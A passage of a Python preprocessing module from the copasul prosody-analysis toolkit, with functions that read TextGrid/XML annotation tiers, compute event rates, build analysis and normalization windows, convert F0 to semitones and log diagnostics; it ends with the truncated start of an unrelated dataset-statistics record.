opt['lab'][j]\n if len(lab)==0: continue\n copa['data'][ii][i]['grp'][lab]=g[j]\n return copa\n\n# robustness wrapper (for non-empty lists only)\ndef pp_apply_along_axis(fun,dim,var,opt):\n if len(var)>0:\n return np.apply_along_axis(fun,dim,var,opt)\n return []\n\n\n# file level rates\n# IN:\n# tg - annot file dict\n# opt - from opt['fsys'][myFeatSet]\n# ft - featureSetName\n# i - channelIdx\n# OUT:\n# rate - dict for rate of myRateTier events/intervals in file\ndef pp_f_rate(tg,opt,ft,i):\n fsys = opt['fsys'][ft]\n lab_pau = fsys['lab_pau']\n rate={}\n # over tier_rate names\n if 'tier_rate' not in fsys:\n return rate\n # tier names for resp channel\n tn_opt = {'ignore_sylbnd':True}\n for rt in pp_tiernames(opt['fsys'],ft,'tier_rate',i,tn_opt):\n if rt in rate: continue\n # hacky workaround since pp_tiernames() also outputs tier names not in TextGrid\n if rt not in tg['item_name']:\n continue\n if rt not in tg['item_name']:\n # if called by augmentation\n if 'sloppy' in opt:\n myLog(\"WARNING! Annotation file does not (yet) contain tier {} which is required by the tier_rate element for feature set {}. Might be added by augmentation. If not this missing tier will result in an error later on.\".format(rt,ft))\n continue\n else:\n myLog(\"ERROR! Annotation file does not (yet) contain tier {} which is required by the tier_rate element for feature set {}.\".format(rt,ft),True)\n t = tg['item'][tg['item_name'][rt]]\n # file duration\n l = tg['head']['xmax']-tg['head']['xmin']\n if 'intervals' in t:\n sk = 'intervals'\n fld = 'text'\n else:\n sk = 'points'\n fld = 'mark'\n \n # empty tier\n if sk not in t:\n rate[rt] = 0\n else:\n n=0\n for k in myl.numkeys(t[sk]):\n if pp_is_pau(t[sk][k][fld],lab_pau): continue\n n += 1\n rate[rt] = n/l\n\n return rate\n \n\n\n# gives interval or event rate within on and offset in bnd\n# IN:\n# t ndarray 1-dim for events, 2-dim for intervals\n# bnd [on off]\n# OUT:\n# r - rate\n# ri - ndarray indices of contained segments\ndef pp_rate_in_interval(t,bnd):\n l = bnd[1]-bnd[0]\n # point tier\n if myl.ndim(t)==1:\n i = myl.find_interval(t,bnd)\n n = len(i)\n # interval tier\n else:\n i = myl.intersect(myl.find(t[:,0],'<',bnd[1]),\n myl.find(t[:,1],'>',bnd[0]))\n n = len(i)\n # partial intervals within bnd\n if n>0:\n if t[0,0]bnd[1]:\n n -= (1-((bnd[1]-t[i[-1],0])/(t[i[-1],1]-t[i[-1],0])))\n n = max([n,0])\n return n/l, i\n\n# returns time info of tiers as table\n# IN:\n# f - textGrid dict\n# rts - list of tiernames to be processed\n# ci - channelIdx\n# lab_pau - pause label\n# OUT:\n# tt[myTier] = ndarray of time stamps, resp. on- offsets\n# REMARKS:\n# as in pp_read() pause intervals are skipped, thus output of both functions is in sync\ndef pp_tier_time_to_tab(tg,rts,ci,lab_pau):\n tt={}\n # over tier names for which event rate is to be determined\n for rt in rts:\n x = rt\n if rt not in tg['item_name']:\n ##!!ci crt = \"{}_{}\".format(rt,ci)\n crt = \"{}_{}\".format(rt,int(ci+1))\n if crt not in tg['item_name']:\n myLog(\"WARNING! Tier {} does not exist. Cannot determine event rates for this tier.\".format(rt))\n continue\n else:\n x = crt \n tt[x] = myl.ea()\n t = tg['item'][tg['item_name'][x]]\n if 'intervals' in t:\n for i in myl.numkeys(t['intervals']):\n if pp_is_pau(t['intervals'][i]['text'],lab_pau): continue\n tt[x]=myl.push(tt[x],np.asarray([t['intervals'][i]['xmin'],t['intervals'][i]['xmax']]))\n elif 'points' in t:\n for i in myl.numkeys(t['points']):\n tt[x]=myl.push(tt[x],t['points'][i]['time'])\n tt[x] = myl.cellwise(myl.trunc2,tt[x])\n return tt\n \n\n\n# returns list of tiernames from fsys of certain TYP in certain channel idx\n# IN:\n# fsys subdict (=copa['config']['fsys'] or\n# copa['config']['fsys']['augment'])\n# fld subfield: 'chunk', 'syl', 'glob', 'loc', 'rhy_*', etc\n# typ tierType: 'tier', 'tier_ag', 'tier_acc', 'tier_rate', 'tier_out_stm' ...\n# ci channelIdx\n# tn_opt <{}> caller-customized options\n# 'ignore_sylbnd' TRUE \n# OUT:\n# tn listOfTierNames for channel ci in fsys[fld][typ]\n# Remarks:\n# - tn elements are either given in fsys as full names or as stems\n# (for the latter: e.g. *['tier_out_stm']*, ['chunk']['tier'])\n# - In the latter case the full name 'myTierName_myChannelIdx' has been\n# added to the fsys['channel'] keys in copasul_analysis and\n# is added as full name to tn\n# - tn DOES NOT check, whether its elements are contained in annotation file\ndef pp_tiernames(fsys,fld,typ,ci,tn_opt={}):\n tn = []\n if ((fld not in fsys) or (typ not in fsys[fld])):\n return tn\n # over tiernames\n xx = cp.deepcopy(fsys[fld][typ])\n if type(xx) is not list:\n xx = [xx]\n for x in xx:\n \n # append channel idx for tiers generated in augmentation step\n # add bnd infix for syllable augmentation\n xc = \"{}_{}\".format(x,int(ci+1))\n if 'ignore_sylbnd' not in tn_opt.keys():\n xbc = \"{}_bnd_{}\".format(x,int(ci+1))\n yy = [x,xc,xbc]\n else:\n yy = [x,xc]\n for y in yy:\n if ((y in fsys['channel']) and (fsys['channel'][y]==ci)):\n tn.append(y)\n \n if (fld == 'glob' and typ == 'tier' and ('syl' in fsys) and ('tier_out_stm' in fsys['syl'])):\n add = \"{}_bnd_{}\".format(fsys['syl']['tier_out_stm'],int(ci+1))\n if add not in tn:\n tn.append(add)\n elif (fld == 'loc' and typ == 'tier_acc' and ('syl' in fsys) and ('tier_out_stm' in fsys['syl'])):\n add = \"{}_{}\".format(fsys['syl']['tier_out_stm'],int(ci+1))\n if add not in tn:\n tn.append(add)\n return tn\n\n### returns input file lists\n# IN:\n# option dict\n# OUT:\n# ff['f0'|'aud'|'annot'|'pulse'] list of full/path/files\n# only defined for those keys,\n# where files are available\n# checks for list lengths\ndef pp_file_collector(opt):\n ff={}\n \n for x in myl.lists('afa'):\n if x not in opt['fsys']:\n continue\n f = myl.file_collector(opt['fsys'][x]['dir'],\n opt['fsys'][x]['ext'])\n if len(f)>0 or x=='annot':\n ff[x]=f\n\n # length check\n # file lists must have length 0 or equal length\n # at least one list must have length > 0\n # annotation files can be generated from scratch\n # in this case stems of f0 (or aud) files are taken over\n for xy in ['f0', 'aud', 'annot']:\n if xy not in ff:\n myLog(\"ERROR! No {} files found!\".format(xy),True)\n l = max(len(ff['f0']),len(ff['aud']),len(ff['annot']))\n\n #print(len(ff['f0']),len(ff['aud']),len(ff['annot']))\n \n if l==0:\n myLog(\"ERROR! Neither signal nor annotation files found!\",True)\n for x in myl.lists('afa'):\n if x not in ff:\n continue\n if ((len(ff[x])>0) and (len(ff[x]) != l)):\n myLog(\"ERROR! Numbers of f0/annotation/audio/pulse files must be 0 or equal!\",True)\n if len(ff['annot'])==0:\n if ((not opt['fsys']['annot']) or (not opt['fsys']['annot']['dir']) or\n (not opt['fsys']['annot']['ext']) or (not opt['fsys']['annot']['typ'])):\n myLog(\"ERROR! Directory, type, and extension must be specified for annotation files generated from scratch!\",True)\n if len(ff['f0'])>0:\n gg = ff['f0']\n else:\n gg = ff['aud']\n \n for i in range(len(gg)):\n f = os.path.join(opt['fsys']['annot']['dir'],\n \"{}.{}\".format(myl.stm(gg[i]),opt['fsys']['annot']['ext']))\n ff['annot'].append(f)\n\n return ff\n\n### bnd data: time stamps to adjacent intervals\n### gnl_*|rhy_* data: time stamps to intervals centered on time stamp\n### ! chunk constraint: interval boundaries are limited by chunk boundaries if any\n### normalizing time windows\n### bb becomes copa...[myFeatSet]['t']\n### bb_nrm becomes copa...[myFeatSet]['tn']\n### bb_trend becomes copa...[myFeatSet]['tt']\n# IN:\n# b - 2-dim time stamp [[x],[x],...] or interval [[x,x],[x,x]...] array\n# typ - 'bnd'|'gnl_*'|'rhy_*'\n# opt - copa['config']\n# t_chunks - mx2 array: [start end] of interpausal chunk segments (at least file [start end])\n# untrunc: |True\n# if True, returns original (not truncated) time values,\n# if False: trunc2\n# OUT:\n# bb - nx2 array: [[start end]...]\n# GNL_*, RHY_*: analysis window \n# segment input: same as input\n# time stamp input: window centered on time stamp (length, see below)\n# BND: adjacent segments\n# segment input: same as input\n# time stamp input: segment between two time stamps (starting from chunk onset)\n# bb_nrm - nx2 array\n# GNL_*, RHY_*: [[start end]...] normalization windows\n# segment input: centered on segment midpoint\n# minimum length: input segment\n# time stamp input: centered on time stamp\n# BND: uniform boundary styl window independent of length of adjacent segments\n# segment input: [[start segmentOFFSET (segmentONSET) end]...]\n# time stamp input: [[start timeStamp end]...]\n# bb_trend - nx3 array for trend window pairs in current chunk\n# probably relevant for BND only\n# GNL_*, RHY_*:\n# segment input: [[chunkOnset segmentMIDPOINT chunkOffset]...]\n# time stamp input : [[chunkOnset timeStamp chunkOffset]...]\n# BND:\n# segment input: \n# non-chunk-final: [[chunkOnset segmentOFFSET segmentONSET chunkOffset]...]\n# chunk-final: [[chunk[I]Onset segmentOFFSET segmentONSET chunk[I+1]Offset]...]\n# for ['cross_chunk']=False, chunk-final is same as non-chunk-final with\n# segmentOFFSET=segmentONSET\n# time stamp input : [[chunkOnset timeStamp chunkOffset]...]\n# REMARKS:\n# - all windows (analysis, norm, trend) are limited by chunk boundaries\n# - analysis window length: opt['preproc']['point_win']\n# - norm window length: opt['preproc']['nrm_win'] for GNL_*, RHY_*\n# opt['bnd']['win'] for BND\n# - BND: - segmentOFFSET and segmentONSET refer to subsequent segments \n# -- for non-chunk-final segments: always in same chunk\n# -- for chunk-final segments: if ['cross_chunk'] is False than\n# segmentOFFSET is set to segmentONSET.\n# If ['cross_chunk'] is True, then segmentONSET refers to\n# the initial segment of the next chunk and Offset refers to the next chunk\n# -- for non-final segments OR for ['cross_chunk']=True pauses between the \n# segments are not considered for F0 stylization and pause length is an interpretable\n# boundary feature. For final segments AND ['cross_chunk']=False always zero pause\n# length is measured, so that it is not interpretable (since ONSET==OFFSET)\n# -> for segments always recommended to set ['cross_chunk']=TRUE\n# -> for time stamps depending on the meaning of the markers (if refering to labelled\n# boundaries, then TRUE is recommended; if referring to other events restricted\n# to a chunk only, then FALSE)\n# - analogously chunk-final time stamps are processed dep on the ['cross_chunk'] value\n# - for time stamps no difference between final- and non-final position\n# a: analysis window\n# n: normalization window\n# t: trend window\n# x: event\n## GNL_*, RHY_*\n# segment input: [... [...]_a ...]_n\n# event input: [... [.x.]_a ...]_n\n## BND\n# segment input: [... [...]_a ...]_n\n# [ ]\n# event input: [...|...]_a x [...|...]_a\n# [ ]_n\ndef pp_t2i(b,typ,opt,t_chunks,untrunc=False):\n bb, bb_nrm, bb_trend = myl.ea(3)\n ## column number\n # nc=1: time stamps, =2: intervals\n nc = myl.ncol(b)\n ## window half lengths\n # wl - analysis -> bb\n # wl_nrm - normalization -> bb_nrm\n # for bnd: longer norm window in ['styl']['bnd']['win'] is taken\n if ((typ in opt['preproc']) and ('point_win' in opt['preproc'][typ])):\n wl = opt['preproc'][typ]['point_win']/2\n else:\n wl = opt['preproc']['point_win']/2\n if typ == 'bnd':\n wl_nrm = opt['styl']['bnd']['win']/2\n else:\n if ((typ in opt['preproc']) and ('nrm_win' in opt['preproc'][typ])):\n wl_nrm = opt['preproc'][typ]['nrm_win']/2\n else:\n wl_nrm = opt['preproc']['nrm_win']/2\n\n #### bnd\n if typ=='bnd':\n if nc==1:\n ### time stamp input\n # first onset\n o=t_chunks[0,0]\n for i in range(len(b)):\n # time point: current time stamp\n c = b[i,0]\n ## analysis window\n # chunk idx of onset and current time stamp\n ci1 = myl.first_interval(o,t_chunks)\n ci2 = myl.first_interval(c,t_chunks)\n # next segments chunk to get offset in case of wanted chunk-crossing\n # for trend windows\n if i+1 < len(b) and opt['styl']['bnd']['cross_chunk']:\n ci3 = myl.first_interval(b[i+1,0],t_chunks)\n else:\n ci3 = ci2\n # same chunk or chunk-crossing wanted -> adjacent\n if (ci1==ci2 or ci2<0 or opt['styl']['bnd']['cross_chunk']):\n bb = myl.push(bb,[o,c])\n # different chunks -> onset is chunk onset of current time stamp\n else:\n bb = myl.push(bb,[t_chunks[ci2,0],c])\n ## nrm window\n ww = pp_limit_win(c,wl_nrm,t_chunks[ci2,:])\n bb_nrm = myl.push(bb_nrm,[ww[0],c,ww[1]])\n ## trend window\n bb_trend = myl.push(bb_trend,[t_chunks[ci2,0],c,t_chunks[ci3,1]])\n # update onset\n o = c\n # last segment: current time stamp to chunk offset\n ci = myl.first_interval(o,t_chunks)\n if ci<0: ci = len(t_chunks)-1\n if o simple copy\n ## analysis windows\n bb = b\n for i in range(len(b)):\n # time point: segment offset\n c = b[i,1]\n # its chunk idx\n ci1 = myl.first_interval(c,t_chunks)\n # its chunk limitations\n r = pp_chunk_limit(c,t_chunks)\n \n # next segment\n if i+1 adjust segmentOnset c2t and chunkOffset r2t for trend window\n if ci2 > ci1:\n if opt['styl']['bnd']['cross_chunk']:\n r2t = t_chunks[ci2,1]\n else:\n c2t = c\n # for norm window\n c2 = c\n else:\n c2 = c\n c2t = c\n r2t = r[1]\n ## nrm window: limit to chunk boundaries\n ww = pp_limit_win(c,wl_nrm,r)\n if c2 != c:\n vv = pp_limit_win(c2,wl_nrm,r)\n bb_nrm = myl.push(bb_nrm,[ww[0],c,c2,vv[1]])\n else:\n bb_nrm = myl.push(bb_nrm,[ww[0],c,c2,ww[1]])\n ## trend window\n bb_trend = myl.push(bb_trend,[r[0],c,c2t,r2t])\n \n # gnl, rhy\n else:\n if nc>1:\n ### segment input (simple copy)\n ## analysis windows\n bb = b\n # if needed: event -> segment, nrm window\n for i in range(len(b)):\n # center (same for time stamps and segments)\n c = np.mean(b[i,:])\n # chunk bnd limits\n r = pp_chunk_limit(c,t_chunks)\n ### event input\n if nc==1:\n ## analysis window\n bb = myl.push(bb,pp_limit_win(c,wl,r))\n # nrm interval\n oo = pp_limit_win(c,wl_nrm,r)\n # set minimal length to analysis window\n on = min([bb[i,0],oo[0]])\n off = max([bb[i,1],oo[1]])\n ## nrm window\n bb_nrm = myl.push(bb_nrm,[on,off])\n ## trend window\n bb_trend = myl.push(bb_trend,[r[0],c,r[1]])\n\n if untrunc==False:\n bb = myl.cellwise(myl.trunc2,bb)\n bb_nrm = myl.cellwise(myl.trunc2,bb_nrm)\n bb_trend = myl.cellwise(myl.trunc2,bb_trend)\n\n \n\n return bb, bb_nrm, bb_trend\n\n# limits window of HALF length w centered on time stamp c to range r\n# IN:\n# c: timeStamp\n# w: window half length\n# r: limitating range\n# OUT:\n# s: [on off]\ndef pp_limit_win(c,w,r):\n on = max([r[0],c-w])\n off = min([r[1],c+w])\n return np.asarray([on,off])\n\n# returns [on off] of chunk in which time stamp is located\n# IN:\n# c: time stamp\n# t_chunks [[on off]...] of chunks\ndef pp_chunk_limit(c,t_chunks):\n ci = myl.first_interval(c,t_chunks)\n if ci<0:\n # fallback: file boundaries\n r = [t_chunks[0,0],t_chunks[-1,1]]\n else:\n # current chunk boundaries\n r = t_chunks[ci,:]\n return r\n\n\n### add file-system info to dict at file-level\n# IN:\n# config['fsys']\n# ff['f0'|'aud'|'annot'] -> list of files\n# ii fileIdx\n# i channelIdx\n# OUT:\n# fsys spec\n# [i] - fileIdx\n# ['f0'|'aud'|'glob'|'loc'|...]\n# [stm|dir|typ|tier*|lab*] stem|path|mime|tierNames|pauseEtcLabel\n# REMARK:\n# tierNames only for respective channel i\ndef pp_fsys(fsys,ff,ii,i):\n fs = {'i':ii}\n # 'f0'|'aud'|'augment'|'pulse'|'glob'|'loc'...\n for x in myl.lists('facafa'):\n # skip 'pulse' etc if not available \n if x not in fsys:\n continue\n # 'f0'|'aud'|'annot'|'pulse' or featSet keys\n if x in ff:\n fs[x]={'stm':myl.stm(ff[x][ii])}\n else:\n fs[x]={'stm':myl.stm(ff['annot'][ii])}\n for y in fsys[x]:\n if y == 'dir':\n if x in ff:\n fs[x][y] = os.path.dirname(ff[x][ii])\n else:\n fs[x][y] = os.path.dirname(ff['annot'][ii])\n else:\n fs[x][y] = fsys[x][y]\n return fs\n\n\n### strict layer principle; limit loc bounds to globseg\n# IN:\n# loc 1x3 row from locseg array [on off center]\n# glb 1x2 row spanning loc row from globseg array\n# OUT:\n# loc 1x3 row limited to bounds of glob seg\ndef pp_slayp(loc,glb):\n loc[0] = np.max([loc[0],glb[0]])\n if loc[1] > loc[0]:\n loc[1] = np.min([loc[1],glb[1]])\n else:\n loc[1] = glb[1]\n loc[2] = np.min([loc[1],loc[2]])\n loc[2] = np.max([loc[0],loc[2]])\n return loc\n\n### row linking from loc to globseg ##################\n# IN:\n# x row in loc|glob etc (identified by its length;\n# loc: len 3, other len 1 or 2)\n# y glb matrix\n# OUT:\n# i rowIdx in glb\n# (-1 if not connected)\n# REMARK: not yet strict layer constrained fulfilled, thus\n# robust assignment\ndef pp_link(x,y):\n if len(y)==0:\n return -1\n if len(x)>2:\n i = myl.intersect(myl.find(y[:,0],'<=',x[2]),\n myl.find(y[:,1],'>=',x[2]))\n else:\n m = np.mean(x)\n i = myl.intersect(myl.find(y[:,0],'<=',m),\n myl.find(y[:,1],'>=',m))\n if len(i)==0:\n i = -1\n else:\n i = i[0]\n return int(i)\n\n# checks whether tier or tier_myChannelIdx is contained in annotation\n# IN:\n# tn - tiername\n# an - annotation dict\n# typ - 'xml'|'TextGrid'\n# ci - <0> channel idx\n# OUT:\n# True|False\ndef pp_tier_in_annot(tn,an,typ,ci=0):\n ##!!ci tc = \"{}_{}\".format(tn,ci)\n tc = \"{}_{}\".format(tn,int(ci+1))\n if (typ == 'xml' and\n (tn in an or tc in an)):\n return True\n if ((typ == 'TextGrid') and ('item_name' in an) and\n ((tn in an['item_name']) or (tc in an['item_name']))):\n return True\n return False\n\n# checks whether tier is contained in annotation (not checking for\n# tier_myChannelIdx as opposed to pp_tier_in_annot()\n# IN:\n# tn - tiername\n# an - annotation dict\n# typ - 'xml'|'TextGrid'\n# OUT:\n# True|False\ndef pp_tier_in_annot_strict(tn,an,typ):\n if (typ == 'xml' and (tn in an)):\n return True\n if ((typ == 'TextGrid') and ('item_name' in an) and\n (tn in an['item_name'])):\n return True\n return False\n\n# returns class of tier 'segment'|'event'|''\n# IN:\n# tn - tierName\n# annot - annot dict\n# typ - annot type\n# OUT: 'segment'|'event'|'' (TextGrid types 'intervals','points' matched segment/event)\ndef pp_tier_class(tn,annot,typ):\n if typ=='xml':\n if tn in annot:\n return annot[tn]['type']\n elif typ=='TextGrid':\n if tn in annot['item_name']:\n if 'intervals' in annot['item'][annot['item_name'][tn]]:\n return 'segment'\n return 'event'\n return ''\n\n\n# reads data from table or annotation file\n# IN:\n# dat - table or xml or TextGridContent\n# opt - opt['fsys'][myDomain], relevant sub-keys: 'lab_pau', 'typ' in {'tab', 'xml', 'TextGrid'}\n# opt['fsys']['augment'][myDomain] (relevant subdicts copied there in copasul_analysis:opt_init())\n# tn - tierName to select content (only relevant for xml and TextGrid)\n# fn - fileName for error messages\n# call - 'glob'|'loc' etc for customized settings (e.g. pauses are not skipped for glob point tier input)\n# OUT:\n# d - 2-d array [[on off]...] or [[timeStamp] ...] values truncated as %.2f\n# d_ut - same as d with original untruncated time values\n# lab - list of labels (empty for 'tab' input)\n# REMARK:\n# for TextGrid interval tier input, pause labelled segments are skipped\ndef pp_read(an,opt,tn='',fn='',call=''):\n\n lab = []\n\n ## tab input\n if opt['typ']=='tab':\n d = an\n \n ## xml input\n elif opt['typ']=='xml':\n if not pp_tier_in_annot(tn,an,opt['typ']):\n myLog(\"ERROR! {}: does not contain tier {}\".format(fn,tn))\n d = myl.ea()\n # selected tier\n t = an[tn]\n # 'segment' or 'event'\n tt = t['type']\n for i in myl.numkeys(t['items']):\n lab.append(t['items'][i]['label'])\n if tt=='segment':\n d = myl.push(d,[float(t['items'][i]['t_start']),float(t['items'][i]['t_end'])])\n else:\n d = myl.push(d,float(t['items'][i]['t']))\n\n ## TextGrid input\n elif opt['typ']=='TextGrid':\n if not pp_tier_in_annot(tn,an,opt['typ']):\n myLog(\"ERROR! {}: does not contain tier {}\".format(fn,tn))\n d = myl.ea()\n # selected tier\n #print(an['item_name']) #!v\n #!e\n t = an['item'][an['item_name'][tn]]\n # 'interals'/'text' or 'points'/'mark'\n if 'intervals' in t:\n kk='intervals'\n kt='text'\n else:\n kk='points'\n kt='mark'\n\n # skip empty tier\n if kk not in t:\n return d,d,lab\n\n for i in myl.numkeys(t[kk]):\n if pp_is_pau(t[kk][i][kt],opt['lab_pau']):\n # keep pauses for glob point tier input since used\n # for later transformation into segment tiers\n if not (kk=='points' and call=='glob'):\n continue\n lab.append(t[kk][i][kt])\n if kk=='intervals':\n d = myl.push(d,[float(t[kk][i]['xmin']),float(t[kk][i]['xmax'])])\n else:\n d = myl.push(d,[float(t[kk][i]['time'])])\n\n # Warnings\n if len(d)==0:\n if opt['typ']=='tab':\n myLog(\"WARNING! {}: empty table\\n\".format(fn))\n else:\n myLog(\"WARNING! {}: no labelled segments contained in tier {}. Replacing by default domain\\n\".format(fn,tn))\n\n return myl.cellwise(myl.trunc2,d), d, lab\n\n# wrapper around pp_read for f0 input\n# - extract channel i\n# - resample to 100 Hz\n# IN:\n# f0_dat: f0 table (1st col: time, 2-end column: channels)\n# opt: opt['fsys']['f0']\n# i: channelIdx\n# OUT:\n# f0: [[time f0InChannelI]...]\n# f0_ut: same without %.2f trunc values\ndef pp_read_f0(f0_dat,opt,i):\n f0, f0_ut, dummy_lab_f0 = pp_read(f0_dat,opt)\n # extract channel from f0 [t f0FromChannelI]\n # i+1 since first column is time\n f0 = f0[:,[0,i+1]]\n f0_ut = f0_ut[:,[0,i+1]]\n # kind of resampling to 100 Hz\n # correct for praat rounding errors\n f0 = pp_t_uniq(f0)\n return f0, f0_ut\n\n# checks whether opt contains field with list at least as long as channel idx,\n# and non-empty list or string at this position\n# IN:\n# opt dict\n# fld keyName\n# OUT: boolean\ndef pp_opt_contains(opt,fld):\n if (fld in opt):\n return True\n return False\n\n# returns TRUE if label indicates pause (length 0, or pattern match\n# with string lab_pau). Else FALSE.\n# IN:\n# s label\n# s pause-pattern\n# OUT:\n# True|False\ndef pp_is_pau(lab,lab_pau):\n if lab_pau=='' and len(lab)==0:\n return True\n p = re.compile(lab_pau)\n if len(lab)==0 or p.search(lab):\n return True\n return False\n\n# time stamps might be non-unique and there might be gaps\n# due to praat rounding errors\n# -> unique and continuous\ndef pp_t_uniq(x):\n sts = 0.01\n # 1. unique\n t, i = np.unique(x[:,0],return_index=True)\n x = np.concatenate((myl.lol(t).T,myl.lol(x[i,1]).T),axis=1)\n\n # 2. missing time values?\n tc = np.arange(t[0],t[-1]+sts,sts)\n if len(t)==len(tc):\n return x\n else:\n # add [missingTime 0] rows\n d = set(tc)-set(t)\n if len(d)==0:\n return x\n\n d = np.asarray(list(d))\n z = np.zeros(len(d))\n add = np.concatenate((myl.lol(d).T,myl.lol(z).T),axis=1)\n x = np.concatenate((x,add),axis=0)\n # include new rows at correct position\n t, i = np.unique(x[:,0],return_index=True)\n x = np.concatenate((myl.lol(t).T,myl.lol(x[i,1]).T),axis=1)\n #for ii in range(len(x)):\n #print(x[ii,])\n #myl.stopgo()\n return x\n \n\n### local segments ###################################\n# transform\n# [[center]...] | [[on off]...] \n# to\n# [[on off center]...]\n# [center] -> symmetric window\n# [on off] -> midpoint\ndef pp_loc(x,opt):\n # special point win for loc?\n if (('loc' in opt['preproc']) and 'point_win' in opt['preproc']['loc']):\n wl = opt['preproc']['loc']['point_win']/2\n else:\n wl = opt['preproc']['point_win']/2\n if len(x) == 1:\n x = [max(0,x[0]-wl), x[0]+wl, x[0]]\n elif len(x) == 2:\n x = [x[0], x[1], np.mean(x)]\n\n return myl.cellwise(myl.trunc2,x)\n \n### semitone transformation ##########################\ndef pp_semton(y,opt,bv=-1):\n yi = myl.find(y,'>',0)\n if opt['preproc']['base_prct']>0 and bv < 0:\n bv, b = pp_bv(y[yi],opt)\n elif bv > 0:\n b = max(bv,1)\n else:\n bv, b = 0, 1\n if opt['preproc']['st']==1:\n y[yi] = 12*np.log2(y[yi]/b)\n else:\n y = y - bv\n return y, bv\n\n# calculate base and semitone conversion reference value\n# IN:\n# yp: f0 values (>0 only!, see pp_semton())\n# OUT:\n# bv: base value in Hz\n# b: semtion conversion reference value (corrected bv)\ndef pp_bv(yp,opt):\n px = np.percentile(yp,opt['preproc']['base_prct'])\n yy = yp[myl.find(yp,'<=',px)]\n bv = np.median(yp[myl.find(yp,'<=',px)])\n b = max(bv,1)\n return bv, b\n\n### zero padding ##############################\n# IN:\n# f0: [[t f0]...]\n# rng_max: max time value for which f0 contour is needed\n# opt: copa['config']\n# extrap: if set then horizontal extrapolation instead of zero pad\n# OUT:\n# f0: [[t f0]...] with zero (or horizontal) padding left to first sampled value (at sts),\n# right to t_max (in sec)\ndef pp_zp(f0,t_max,opt,extrap=False):\n # stepsize \n sts = 1/opt['fs']\n\n if extrap:\n zpl, zpr = f0[0,1], f0[-1,1]\n else:\n zpl, zpr = 0, 0 \n\n #if sts < f0[0,0]:\n # prf = np.arange(sts,f0[0,0],sts)\n if 0 < f0[0,0]:\n prf = np.arange(0,f0[0,0],sts)\n else:\n prf = myl.ea()\n\n if f0[-1,0] < t_max:\n sfx = np.arange(f0[-1,0]+sts,t_max+sts,sts)\n else:\n sfx = myl.ea()\n \n if len(prf)>0:\n zz = zpl*np.ones(len(prf))\n prf = np.concatenate(([prf],[zz]),axis=0).T\n f0 = np.append(prf,f0,axis=0)\n if len(sfx)>0:\n zz = zpr*np.ones(len(sfx))\n sfx = np.concatenate(([sfx],[zz]),axis=0).T\n f0 = np.append(f0,sfx,axis=0)\n\n return f0\n\n\n### copa init/preproc diagnosis #######################################\n# warnings to logfile:\n# not-linked globseg/locseg\ndef diagnosis(copa,h_log):\n h_log.write('# Diagnosis\\n')\n # error code\n ec = 0\n c = copa['data']\n for ii in myl.numkeys(c):\n for i in myl.numkeys(c):\n ec = diagnosis_seg(c,ii,i,'glob',ec,h_log)\n ec = diagnosis_seg(c,ii,i,'loc',ec,h_log)\n\n #ec = diagnosis_config(copa['config'],ec,h_log)\n\n if ec==2:\n pp_log('Too many errors! Exit.',True)\n if ec==0:\n pp_log(\"Everything seems to be ok!\\n\")\n return ec\n\n# log file output (if filehandle), else terminal output\n# IN:\n# msg message string\n# e |True do exit\ndef myLog(msg,e=False):\n global f_log\n try: f_log\n except: f_log = ''\n if type(f_log) is not str:\n f_log.write(\"{}\\n\".format(msg))\n if e:\n f_log.close()\n sys.exit(msg)\n else:\n if e:\n sys.exit(msg)\n else:\n print(msg)\n \n\n# checks config syntax\ndef diagnosis_config(opt,ec,h_log):\n for x in ['f0','glob','loc','bnd','gnl_f0','gnl_en','rhy_f0','rhy_en']:\n if x not in opt['fsys']:\n if x=='f0':\n h_log.write(\"ERROR! config.fsys does not contain f0 file field.\\n\")\n ec = 2\n continue\n for y in ['dir','ext','typ']:\n if y not in opt['fsys'][x]:\n h_log.write(\"ERROR! config.fsys.{} does not contain {} field.\\n\".format(x,y))\n ec = 2\n continue\n \n\n # bnd, gnl_* lol\n for x in myl.lists('bgd'):\n ti = []\n tp = []\n ps = []\n if 'tier' in opt['fsys'][x]:\n ti = opt['fsys'][x]['tier']\n if 'lab_pau' in opt['fsys'][x]:\n ps = opt['fsys'][x]['lab_pau']\n return ec\n \n# checks initialized copa subdicts glob, loc\n# outputs warnings/errors to log file\n# returns error code (0=ok, 1=erroneous, 2=fatal)\ndef diagnosis_seg(c,ii,i,dom,ec,h_log):\n # min seg length\n min_l = 0.03\n f = \"{}/{}.{}\".format(c[ii][i]['fsys'][dom]['dir'],c[ii][i]['fsys'][dom]['stm'],c[ii][i]['fsys'][dom]['ext'])\n for j in myl.numkeys(c[ii][i][dom]):\n # segment not linked\n if (('ri' not in c[ii][i][dom][j]) or\n ((type(c[ii][i][dom][j]['ri']) is list) and\n len(c[ii][i][dom][j]['ri'])==0) or\n c[ii][i][dom][j]['ri']==''):\n ec = 1\n if dom=='glob':\n h_log.write(\"WARNING! {}:interval {} {}:global segment does not dominate any local segment\\n\".format(f,c[ii][i][dom][j]['to'][0],c[ii][i][dom][j]['to'][1]))\n else:\n h_log.write(\"WARNING! {}:interval {} {}:local segment is not dominated by any gobal segment\\n\",f,c[ii][i][dom][j]['to'][0],c[ii][i][dom][j]['to'][1])\n # segment too short\n if c[ii][i][dom][j]['t'][1]-c[ii][i][dom][j]['t'][0] < min_l:\n h_log.write(\"ERROR! {}:interval {} {}:{} segment too short!\\n\".format(f,c[ii][i][dom][j]['to'][0],c[ii][i][dom][j]['to'][1],dom))\n ec = 2\n\n # locseg center (3rd col) not within [on off] (1st, 2nd col)\n if (dom=='loc' and len(c[ii][i][dom][0]['t'])==3):\n for j in myl.numkeys(c[ii][i][dom]):\n if ((c[ii][i][dom][j]['t'][2] <= c[ii][i][dom][j]['t'][0]) or\n (c[ii][i][dom][j]['t'][2] >= c[ii][i][dom][j]['t'][1])):\n h_log.write(\"WARNING! {}:interval {} {}:local segments center not within its intervals. Set to midpoint\\n\",f,c[ii][i][dom][j]['to'][0],c[ii][i][dom][j]['to'][1])\n c[ii][i][dom][j]['t'][2] = myl.trunc2((c[ii][i][dom][j]['t'][0]+c[ii][i][dom][j]['t'][1])/2)\n \n return ec\n\n# returns empty time arrays and label lists (analogously to pp_read()) \ndef pp_read_empty():\n return myl.ea(), myl.ea(), []\n","repo_name":"reichelu/copasul","sub_path":"src/copasul_preproc.py","file_name":"copasul_preproc.py","file_ext":"py","file_size_in_byte":61579,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"19305426107","text":"import torch\n\nfrom data.dataset import FB15Dataset\n\n\nclass Stats:\n\n def __init__(self, dataset, dev='cpu'):\n self.dataset = dataset\n self.h, self.g = 